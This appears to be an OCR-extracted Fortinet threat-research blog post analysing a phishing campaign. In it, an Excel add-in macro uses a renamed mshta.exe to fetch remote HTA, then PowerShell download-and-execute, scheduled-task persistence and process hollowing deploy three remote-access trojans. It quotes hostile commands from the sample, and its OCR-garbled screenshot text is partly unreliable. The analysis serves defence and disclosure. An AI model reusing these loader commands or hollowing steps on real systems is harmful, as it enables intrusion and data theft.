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Fortinet’s FortiGuard Labs captured a phishing campaign that was delivering three fileless malware onto a victim’s device.

Once executed, they are able to steal sensitive information from that device.

In this analysis, I’ll reveal how the phishing campaign manages to transfer the fileless malware to the victim’s device, what
mechanism it uses to load, deploy, and execute the fileless malware in the target process, and how it maintains persistence

on the victim’s device.

Affected platforms: Microsoft Windows
Impacted parties: Microsoft Windows Users
Impact: Controls victim’s device and collects sensitive information

Severity level: Critical

Observing the Phishing Email

The captured phishing email is shown in Figure 1.1. It was disguised as a notification of a payment report from a trusted

source.

[SPAM detected by FortiMail] Separate E-check Remittance Advice: Claim document number - 220150 - M...

Message @ Tell me what you want to do...

‘Wed 4/27/2022 4:56 PM

Account Payable <accountpayable G < C -

[SPAM detected by FortiMail] Feparale E-check Remittance Advice: Claim document number - 220150

Remittance-Details-95..
B9KE

Please find attached the Payments Report for 04/27/2022

Figure 1.1 — The phishing email

This email attempts to trick the recipient into opening the attached Excel document for the report detail. As you can see, this
phishing email is detected as spam by the FortiMail service and has been marked as “[SPAM detected by FortiMail]” in the

Subject line to warn the recipient.

Looking into the Attached Excel Document

The Excel document is named “Remittance-Details-951244.xlam”. It’s an Excel Add-In (*.xlam) file that contains malicious
macros. When the recipient starts it in the Microsoft Excel program, a security notice pops up asking the user if they want to
enable the macros, as shown in Figure 2.1.
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Microsoft Excel Security Motice

@ Microsoft Office has identified a potential security concern.

‘Warning: It is not possible to determine that this content came from
a trustworthy source. You should leave this content disabled unless
the content provides critical functionality and you trust its source.

File Path: | CoUsers\Bobs\Desktop\Remittance-Details-951244 xlam
Macros have been disabled. Macros might contain viruses or other
security hazards, Do not enable this content unless you trust the
source of this file.

More information

[ Enable Macros ] [ Disable Macros J

Figure 2.1 — The security notice that launches when opening the Excel document

It contains an auto-start Macro that starts using a VBA (Visual Basic Application) method called “Auto_Open()” when the

Excel file is opened.

Going through the VBA code inside the method, I learned that it decodes a command string and executes it using a WMI

(Windows Management Instrumentation) object.

E Microsoft Visual Basic for Applications - Remittance-Details-951244.xlam [break] - [Modulel (Code]]

%Elle Edit View Inset Format Debug Run Tools Add-Ins  Window Help -3 X
E&E-d ] P B KYERY @ =

Project - VEﬂ (General) ~ Auto_Opent A

supara = Replace (supara, tuXQpsS (UvéeézUSVSK(nfCo60NBOP ("PW3™, "FF71"), nfOo&0NbOP("+%—", "’Dl:‘t_‘l
Rutokaki = tuXQpsS (Uv6zUSVSE (nfOoE0NBOP ("'1, 25'Q9[0:3Ha-ZB"9F; Q] : cEnBODZiB1NWLSQe | 2u] tT T1 U~
Autokaki = Replace (Autokaki, tuXQpsS (UvezU9VSK (nfOo60NBOP ("w-ESUATe £->14a", "gqywW7™), nfODGOI*l
Zutckaki = Replace (Rutokaki, tuXQpsS(UvézUIVSH (nfCo60NbOE ("0, ELi*E Ugdeiidqiiiu", "sBalteSThi
Autokaki = Replace (Rutokaki, tuXQpsS (Uv6zUIVSK(nfCo60NbOP ("EC "udKnjHYYTS5"), nfCo60!
Zutokaki = Replace (Rutokaki, tuXQpsS(UvézU9IVSK(nfOo60NBOP ("Ze’ Liz:¥Ve-c~°\", "EVODToM"), nfOc
H : Debug.Print

[ = EEA.Eel:(b]em: (Rutokalki) Get!mzﬂ!.ﬂrea
Dim sQ1lECEK As Double

(= 3
Properties -EI
Modi Mod - Dim gsZsHyvbk As Single

Aphabe Dim RQgkmeE As Date WMI Object

Dim XkhQdDD As Integer

W Dim QgQbVnXtd A= Long

.

1

Immediate

I lx

print lupataka.muchi’ /
C:\\Programbata\\ddond.com httpa://taxfile.mediafire.com/file/6hxdxdkgeyq0zla/APRL27.htm/file

Decoded Command String

Figure 2.2 — The WMI object used to execute a decoded command

Figure 2.2 is a snippet of VBA code of the method “Auto_Open()”, showing where it is about to create a WMI object to
execute the decoded string command “C:\\ProgramData\\ddond.com
hxxps://taxfile[.Jmediafire[.]Jcom/file/6hxdxdkgeyq0z10/APRL27[.]htm/file”, as shown in the bottom of Figure 2.2.

Before that, it copies a local file, “C:\Windows\System32\mshta.exe”, into “C:\ProgramData\” and renames it as
“ddond.com”. “mshta.exe” is a Windows-native binary file designed to execute Microsoft HTML Application (HTA) files.
Remember that “C:\ProgramData\ddond.com” is now the duplicate of “mshta.exe”, which will be used throughout the
campaign. To confuse researchers, for example, it uses the copied “ddond.com” file to download and execute the malicious

html file rather than “mshta.exe”.

HTML + JavaScript + PowerShell

It downloads the “APRL27.htm” file, which is parsed by “ddond.com” (i.e. “mshta.exe”). The HTML file contains a piece
of JavaScript code that is encoded using the URL escape method. I decoded it and simplified the code, as shown in Figure
3.1.
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")) . (("Downloadstring”)) . invoke({ ("https://taxfile mediafire. con/File/ 175 dwsa5n7x8/maingw 411/ File")))) ; Tnvoke-Ex

o + _0xShap3F(9x398, 0x393);

39b, x35b)1(cnd, Gxfa + Gxifed + -8x20e7);

3y6na101/back htm/ File"
EZHH

se /chtasks Jcreate /s MIN
51| chuchukukukaokInDas 1 GowT
52

53| chuehukukukaokinDas i dow] ¢

Aun
chuchukukukaok inDas i dow[_ 385, 9x382) T + -Bx056 + ~Bx3bc * Bx1);

tion _6x3a%6

ar _Bx3faes B

_0x3a%6 = fu (_@xFallde, _x30c145) {

o _BxFa11d9 = _OxFALLd - (-x2112

61 ar _@xS6aB1c = _Ox3faedf[_0xral1ds];
n _exs6asle;

x23e5e7, Bxdbless) {

662 * @x1 + 8x3929);

0 _ex3ate(_ox29eser, _oxdvless);

STURL T uxe34 v xced);

}  Line 53, Colus

Figure 3.1 - The simplified JavaScript code from APRL27.html

It creates an object, “Wscript.Shell”, using the instruction below. “Wscript.Shell” is retrieved using method

“_0x5b4b3f(0x391, 0x391)”, which is used to return a string by its index.
chuchukukukaokiwDasidow = new ActiveXObject(_0x5b4b3f(0x391, 0x391));

“chuchukukukaokiwDasidow” is the created OS Shell object used to run an application. In Figure 3.1 we can see it runs five

command-line applications, as follows.

powershell $MMMMMMM=((neW-ObjEcT (("'Net.Webclient"))).
(("Downloadstring™)).invoke((("hxxps|[:]/taxfile[.]Jmediafire.com/file/175lr9wsa5n97x8/mainpw.dll/file"))));Invoke-
Expression SMMMMMMM

o schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr """%programdata%\ddond.com """"""

hxxps[:]//wwwl[.Imediafire.com/file/c3zcoq7ay6nql9i/back.htm/file
taskkill /f /im WinWord.exe

taskkill /f /im Excel.exe

taskkill /f /im POWERPNT.exe

It runs the PowerShell application to download a PowerShell file called “mainpw.dll” and then execute it.

It then runs schtasks to create a schedule task named “calendersw” in the system “Task Scheduler®. It performs the
command “C:\ProgramData\ddond.com hxxps[:]//www/[.Jmediafire.com/file/c3zcoq7ay6ngl9i/back.htm/file” every 82
minutes, which looks like parsing “APRL27.html”. It is also a persistence mechanism. Once it starts, back.htm adds more

scheduled tasks.

It also runs taskkill to kill processes, if existing, of MS Word (WinWord.exe), MS Excel (Excel.exe), and MS Pointpoint
(POWERPNT.exe).
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Intercept HTTP history ‘WebSockets history Options

Filter: Hiding CS5, image and general binary content

# Host Method URL
9015 | https:/itaxfile. mediafire.com GET Ifile/Ghxdxdkgeyqlzlof/APRLZT. htm/file
9016 | https://download2266.mediafire.com GET Irvlvg3eqrglg/GhxdxdkgeyqOzlo/APRL2T7. htm
9017 | https://taxfile. mediafire.com GET Ifilef L75lrowsasn9 7/ mainpw. dilfile
9018 | https://download2347 mediafire.com GET Théw 170/ L75lrFwsa5nS 7 sinpw.dll
9029 ps:/fwww. mediafire.com ilefc3zcoq faybng 1 ile
9055 | https://download2269. mediafire.com GET I3es750jhtSkg/c3zcoqTayEnglSifback. htm
9056 | https://taxfile. mediafire.com GET Ifilef L75lrowsasn9 7/ mainpw. dilffile
9057 | https://download2347.mediafire.com GET Jrriz575rsopg/ 175lrSwsabn 9 7x8/mainpw.dil
9058 https://beacons.gcp.qut?.com POST fdnn'lainretiabfrtyfu pload
9059 [ httpsi/fwww medifire.com GET TFile ffyy2npmnhyGoAd;Start htm/File
9060 | https:/download 1078 mediafire.com GET [ffowapyir20g/jyy2Znpmnhx6o49/Start itm
D061 | https:/itaxfile. mediafire.com GET [File/175Ir%wsa5n9 7x8/mainpw. dllffile
9062 | https://download2347 mediafire.com GET Jubngukrs18kg/175rSwsaSn 578/ mainpw dll
9063 http:/ictldl windowsupdate .com GET Imsdownload/update/v3/static/trustedr/en/authrootstl.cab?ayded31f52e 18605

Request Response

Pretty m Hex m (= Pretty m Hex Render n =

1 GET 1 HTTR/1.1 200 OK

Shawdotamgh7g/1751 rOwsasn97x8/mainpw. d 2 server: bd-0.1.5
11 HTTR/1.1 3 content-type: text/plain

2 Host: download2347.mediafire.com 4 accept-ranges: bytes

3 Connection: close 5 connection: close

4 & cache-control: no-store V

5 - - : 1 follo

0 matches

Figure 3.2 — APRL27.htm traffic

content -disposition: attachment;

filename="nainpw.dLl"
content -length: 7580286

10 date: Thu, 28 Bpr 2022 04:10: 243 anr

11

12

13 ghexString = "41 64 64 20 54 79 70 65 20 2D 74 79 70 65 64 65 &€

3B OA 20 20 20 20 75 73 69 6E 67 20 53 79 73 74 65 6D ZE 45 4F 3
2E 43 &F 6D 70 72 65 73 73 69 6F 6E 3B OA 0A 20 20 20 20 6E 61
0A 20 20 20 20 20 20 20 20 70 75 62 6C 69 63 20 73 74 61 74 69 €

OLHGISIE

Figure 3.2 is the screenshot of an HTTP proxy program showing the packets from “APRL27.htm” to “mainpw.dll” marked

in the red box. The green box (back.htm) and blue box (Start.htm) are other groups of requests from other “ddond.com”

commands started by the Task Scheduler.

The “mainpw.dll” file (size 7.58MB) is full of PowerShell code that can be split into three parts for three fileless malware.

Figure 3.3 is a display of the simplified structure of “mainpw.dll”.
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1

Z

3 |$hex3tring = "41 64 64 ZD 54 79 70 &85 20 { ... } 6E Z0 Z4 49 41 4F 57 4z 51 49

4 |50 41 53 4B 42 41 4D 41 47 53 57 51 49 41 4B 44 45 4B 41 53 4E 44 41 53 51 04 70"

5 |dasciiChars = §hexString -split ' ' |ForEach-Cbject {[char] [byte] "0xi_"};fasciiString = fasciiChars -
. Jdoin ' jdssciifcring | I'E'x

6

7 |#aspnet_reghrovsers

8 Malware 1

s |[byte[]] 9nons = B(31,139,8,0,0,0,0,0,4,0,228,169,127,120, { ... }

. |&18,117,214,151,:254,115,217,253,235,233,2492,252,63,116,33,154,1759,0,196,1,0)

10

11

1z |%hexString = "S5B 62 79 74 65 5B 5D 5D 20 { ... } 53 45 54 G2 54 59 44 55 47 49 4F 48 Z9 29 DL

13 |fasciiChars = fhexString -split ' ' |ForEach-Object {[char] [byte] "0xi_"};fasciiString = fasciiChars -
. join '':fasciifcring | Iex

14

15 start-sleep 5

16

17 |$hex3tring = "41 64 64 ZD 54 79 33 39 43 35 33 45 30 { ... } 57 42 51 49 50 41

18 |53 4F 42 41 4D 41 47 53 57 51 49 41 4F 44 45 4B 41 53 4E 44 41 53 51 04 7D";

13 |fasciiChars = §hexString -split | ' |ForEach-Object {[char] [byte] "0xi_"};fasciifString = fasciiChars -
. Jioin ' ;dasciiftring | I'E'x

20

zl |#Caspol

=44

23 |[byte[]] $nons = B(31,139,8,0,0,0,0,0,4,0,212,169,121,124,163, { ... } Malware 2

B £171,191,76,215,244,31,127,252,255,246,227,2585,5,112,109,27,219,0,42,2,0)

24

Z5

26 |éhexZtring = "SE 62 7% 74 65 5B 5D 5D 30 { ... } ZE 35 30 37 3Z 4F 59

27 |5z 54 53 45 54 52 54 59 44 55 47 490 4F 45 29 25 0Av;

2g |$asciiChars = fhexdcring -splic ' ' |ForEach-Cbject {[ohar] [byte] "Oxi "i;fasciiftring = fasciiChars -
o laodin ' igasciiString | I'E'x

z3

30

31 start-sleep 2

ek

33 |$hexString = "41 64 64 2D 54 79 70 65 20 2D { ... } 20 24 439 41 4E 57 42 51

34 |45 50 41 53 4F 42 41 4D 41 47 53 57 51 49 41 4F 44 45 4F 41 53 4E 44 41 53 51 04 7D";

35 |fasmiiChars = §hewsString —split | ' |ForEach-Object {[char] [byte] "0xi "} :iasciistring = fasciiChars -
. Jidoin '';dasciiftring | I'E'x

=l

37 |#MSEUILD

28

35 | (byte[]] $non= = B(31,139,8,0,0,0,0,0,4,0,220, { ... } Malware3

B ,159,142,223,1,121,191,224,95,255, 7,245,459, 203,223, 0,44, 60,0}

40

41 |$hexString = "S5B 62 79 74 65 5B 5D § ... } 55 47 55 49 44 52 53

42 |54 52 44 59 55 27 45 45 4F 55 52 54 53 45 54 52 54 50 44 55 47 459 4F 45 89 29 OLT;

43 |fasciiChars = §hexString -split | ' |ForEach-Object { [char] [byte] "0xi "};iasciistring = fasciiChars -
. Jhoin ' dasciiftring | diex

44

Figure 3.3 — Outlines of the PowerShell code inside “mainpw.dll”

This code has three code segments and uses the same code logic for each malware. I’ll explain how this works for each

malware through their variables.

e The first “$hexString” contains a dynamic method for performing GZip decompression.

o The second “$hexString” contains dynamic PowerShell code that decompresses the malware payload and an inner
.Net module file that deploys the malware payload.

e The “$nona” is a huge byte array that contains the GZip-compressed malware payload. The following PowerShell
codes extracted from the second $hexString are used to decompress the malware payload in $nona and the inner .Net

module for deploying the malware payload into two local variables.

[byte[]] SRSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get-

DecompressedByteArray $nona

[byte[]] SRDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-
DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRI

At the end of each malware code segment, the code calls the “Load()” method to load the inner .Net module from
“$RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG”. It then calls the Invoke() method to invoke the
“projFUD.PA.Execute()” function of the inner .Net module with two parameters, which are an exe file’s full path and a

fileless malware payload. Here is a piece of the PowerShell code used for the first malware.

[Reflection.Assembly]::Load(SRDSFGTFHY GUIHKGYFTDRSRDTFY GJUHKDDRTFYG).GetType('projFUD.PA").GetMethod('Execute'). Invoke($

[object[1] (
'C:\Windows\Microsoft. NET\Framework\v2.0.50727\aspnet_compiler.exe', $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH))

Dynamic .Net Module for Process Hollowing
It is the inner .Net module that is dynamically extracted from the second $hexString variable. Its function

“projFUD.PA.Execute()” is called from PowerShell, where “projFUD” is the name space, “PA” is the class name, and

“Execute()” is a member function of class “PA”. Figure 4.1 shows a debugger breaking at the entry of this function.
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@ dnSpy v6.1.3 (64-bit, .NET, Debugging) - B x
Fle Edit View Debug Window Hep @ [ 2 . b Continue 1 m > v atr P
Assembly Explorer - X
b System (2.0.00) a 1 // projFUD.PA "
4 ﬁ_“ Systgm,xm\ (2.0.0.0) 2 // Token: ex@6e000@7 RID: 7 RVA: @x00002334 File Offset: @xooeeas3a
4 3 public static void Execute(string path, byte[] payload)
4 1{
° s
> 5 for (53)
=8 Type References E—
b =B References 2 0 int num2 = num;
P 0 Resources a | for (53)
w0
! B 111 1 1 bool flag;
AT prorun 1200 int numé;
4 %3 PA@02000002 By et ":"'29:‘
b Wl Base Type and Interfac FEOE I (num2)
Derived Types w0 case 1
©, .cctor() : void @I6000( 7o
D, AFrcY8qhS0SgRj09QbI B string @string = PA.QMXVUp9BZBA3IM2ITGG().GetString(new byte[]
®, AUDE3ISqIDg270GVO W {
@, BISIETSIRMTFXmOA 28 [ 34,
©  BinaryToString(string) a0 1, -
@, _EjulypvUAhseiveKYS W00% |~
o Beecutelstring, bytell| | ol S S - X
O TStqBZNabEvmavT.
N Val T -
@, GetProcAddress(intPt e o - e
@, guoQzAclimzeGY @ path @' C:\Windows\Microsoft NET\Frameworkiv2.0.50727\aspnet_compiler.exe’ string
v
@, GYkIhRyQnfiDpYNdj( b @ payload {byte[0x0000ECO0]} bytel]
@, HIPFTid3sPGAAwbly i jIdonnee int
©, e6XPINGcr3qefaT(ob @ numb 0:00000000 int
@, KaiPIVIQNFVGRHiana( b @ startuplnformation  {projFUD.PAStartupInformation} projFUD.PA.Startuplnfon
©, kwkUTSWhpdXOtsGtP! b @ processinformation  {projFUD.PA Processlnformation) projFUD.PA.Processinfor
@, KZGVIGgXg6Kfbwi2sl @ name Aull <Hrine , 7
@,

L. leRue7aFPAwIWRROTH ™
3

Locals  Watchl Memoryl Analyzer CallStack Modules Memory 2

Figure 4.1 — Break at the entry of function “projFUD.PA.Execute()”

From the bottom, in the “Locals” variable sub-tab, we see the two passed parameters. It then performs process hollowing to

inject the malware payload into a newly-created process of “aspnet_compiler.exe”.

o
268 E E 3 continue; a
269 [ }
278 : : | continue;
271 .
272 H H : case 9:
273 [ try
274 H | : 1
275 : : | i PA.StartupInformation startupInformation;
276 . . ‘ ' PA.ProcessInformation processInformation;
B 277 ' ' ! H flag =path, string.Empty, IntPtr.Zero, IntPtr.Zero, false,
0x08000004—:~ 1342177320, IntPtr.Zerc, null, ref startupInformation, ref
: : ' ' processInformation);
278 H H | H int num3 = 4;
279 [ | if (PA.xgUKCTBWqu7qOudgnp() = null)
280 H . ! |
281 o : goto IL_128;
282 | | | H ¥
283 : : ; . string name;
284 ! H : H int numd;
285 : : 1 : int srcOffset;
286 o . int numl4;
287 E E 3 E int numls; .
EPPS ! ! I
100% -
Locals -
MName Value Type H
@ path @"CAWindows\Microsoft NET\Framework\v2.0.50727\aspnet_compiler.exe” string
b @ payload {byte[0xD000ECOO]} byte[]
@ num2( (00000000 int

Figure 4.2 — Creating a suspended process

The “Execute()” function then calls the Windows API “CreateProcessA()” to create a process of “aspnet_compiler.exe” with
a Create Flag of 0x8000004. This is a combination of CREATE_NO_WINDOW and CREATE,_SUSPENDED, as shown in
Figure 4.2.

Next, it allocates memory inside this process and deploys the malware payload data into it. It modifies the value at memory
address 0x7EFDEOQ08, where it saves the process’ base address of PEB (Process Environment Block) and modifies the
process’ registry to have its EIP (Extended Instruction Pointer) pointing to the copied malware payload. To finish, it needs to

call the API WriteProcessMemory() numerous times as well as the API Wow64SetThreadContext().

After all the above steps have been completed, it finally calls the API ResumeThread() to have the process run the malware
payload. Below is the code used for calling this API. “processInformation. ThreadHandle” is the thread handle of the newly

created process.

num15 = (int)PA.LX99ujNZ7X3Y Scj6T4(PA.ResumeThread, PA.vgxYHnXuOV51G6NIu3("01001001011011100111011001101111011010110110010

new object[]
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processInformation.ThreadHandle

b
Conclusion

In this analysis, I explained how an Excel document attachment to a disguised phishing email is sent to a victim’s device and

how the malicious code inside the Excel document is automatically executed once opened by the recipient.

I also showed how the VBA code leads to the access of a remote html file (APRL27.htm) using the copied “mshta.exe”
command. This file contains malicious JavaScript code to be executed later. I also demonstrated how it performs persistence

by adding tasks into the system “Task Scheduler” to remain in the victim’s device.

I also explained how it obtains three fileless malware in a huge downloaded PowerShell file to bypass detection, and how
these are later deployed and executed inside the target processes through Process Hollowing. These three fileless malware
are AveMariaRAT / BitRAT / PandoraHVNC.

In Part 2 of this analysis, I will focus on these three fileless malware to see what they do on the victim’s device, as well as

what kind of data they are able to steal.

Fortinet Protections

Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering,

AntiVirus, FortiMail, FortiClient, FortiEDR services, and CDR (content disarm and reconstruction) services, as follows:
All relevant URLSs have been rated as "Malicious Websites" by the FortiGuard Web Filtering service.

The phishing email with its attached malicious Excel document can be disarmed by the FortiGuard CDR (content disarm

and reconstruction) service.

The captured Excel sample, the downloaded html file, and the PowerShell file with three fileless malware payload files are
detected as "VBA/Agent. DDON!tr", "JS/Agent. DDON!tr.dldr", and "PowerShell/Agent.e535!tr" and are blocked by the
FortiGuard Antivirus service.

FortiEDR detects both the Excel file and the huge PowerShell file as malicious based on their behavior.

In addition to these protections, we suggest that organizations have their end users also go through the FREE NSE
training: NSE 1 — Information Security Awareness. It includes a module on Internet threats that is designed to help end users

learn how to identify and protect themselves from phishing attacks.

I0Cs

URLs:

hxxps://taxfile[.Jmediafire[.]lcom/file/6hxdxdkgeyq0z1o/APRL27[.]htm/file
hxxps://wwwl[.]mediafire[.]com/file/c3zcoq7ay6nql9i/back[.]htm/file
hxxps://wwwl[.]mediafire[.]com/file/jjyy2npmnhx6049/Start[.]htm/file
hxxps://taxmogalupupitpamobitolal.]blogspot[.]Jcom/atom][.]xml

Sample SHA-256 Involved in the Campaign:

[Remittance-Details-951244-1.xlam]
8007BBICAA6A1456FFC829270BE2E62D1905D5B71E9DCI9F9673DECOAFBF13BFC
[APRL27.htm]
D71ADD25520799720ADD43A5F4925B796BEA11BF55644990B4B9A70B7EAEACBA
[mainpw.dll]
3D71A243E5D9BA44E3D71D4DA15D928658F92B2F0A220B7DEFE0136108871449

Read Part II of this analysis here.

Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security

Subscriptions and Services portfolio.
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https://www.fortinet.com/products/email-security/fortimail.html?utm_source=blog&utm_campaign=fortimail-main-page
https://www.fortinet.com/products/endpoint-security/forticlient.html?utm_source=blog&utm_campaign=endpoint-web-page
https://www.fortinet.com/products/endpoint-security/fortiedr.html?utm_source=blog&utm_campaign=fortiedr
https://www.fortinet.com/products/endpoint-security/fortiedr.html?utm_source=blog&utm_campaign=fortiedr
https://training.fortinet.com/?utm_source=blog&utm_campaign=nse-institute
https://training.fortinet.com/?utm_source=blog&utm_campaign=nse-institute
https://training.fortinet.com/local/staticpage/view.php?page=nse_1&utm_source=blog&utm_campaign=nse-1
https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware-part-two
https://www.fortinet.com/fortiguard/labs?utm_source=blog&utm_campaign=fortiguard-labs
https://www.fortinet.com/fortiguard/labs?tab=security-bundles&utm_source=blog&utm_campaign=security-bundles

https://www.fortinet.com /blog/threat-research/phishing-campaign-delivering-fileless-malware

Source: https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware

Page 8 of 8



